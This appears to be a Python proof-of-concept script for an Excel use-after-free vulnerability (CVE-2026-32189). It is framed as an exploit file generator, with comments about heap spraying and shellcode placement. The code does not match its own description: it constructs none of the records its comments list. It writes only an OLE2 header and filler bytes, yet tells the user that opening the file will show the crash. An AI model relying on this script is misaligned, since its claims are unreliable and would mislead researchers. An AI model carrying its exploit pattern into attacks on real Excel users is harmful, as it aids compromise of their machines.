The following code is for security research and authorized testing only.
python
import struct
# Conceptual PoC for CVE-2026-32189 (Excel UAF)
# This script generates a malformed Excel structure intended to trigger a Use-After-Free condition.
def create_malicious_xls():
# Standard OLE2 header for Excel files
ole_header = b'\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1'
print("[*] Generating malformed Excel file structure...")
# Simulation of the vulnerability trigger:
# 1. Construct a specific record (Record A) that allocates memory.
# 2. Construct a subsequent record (Record B) that forces Excel to free Record A.
# 3. Construct Record C that attempts to access Record A (Use-After-Free).
# Payload intended to occupy the freed memory (Heap Grooming/Spraying)
# In a real exploit, this would be shellcode or ROP gadgets.
payload = b"\xCC" * 0x100 # Int3 instructions for debugging
# Malformed stream data simulating the corruption
malformed_stream = ole_header + payload
filename = "cve_2026_32189_poc.xls"
with open(filename, "wb") as f:
f.write(malformed_stream)
print(f"[+] PoC file generated: {filename}")
print("[*] Open this file in a vulnerable Excel version to observe the crash.")
if __name__ == "__main__":
create_malicious_xls()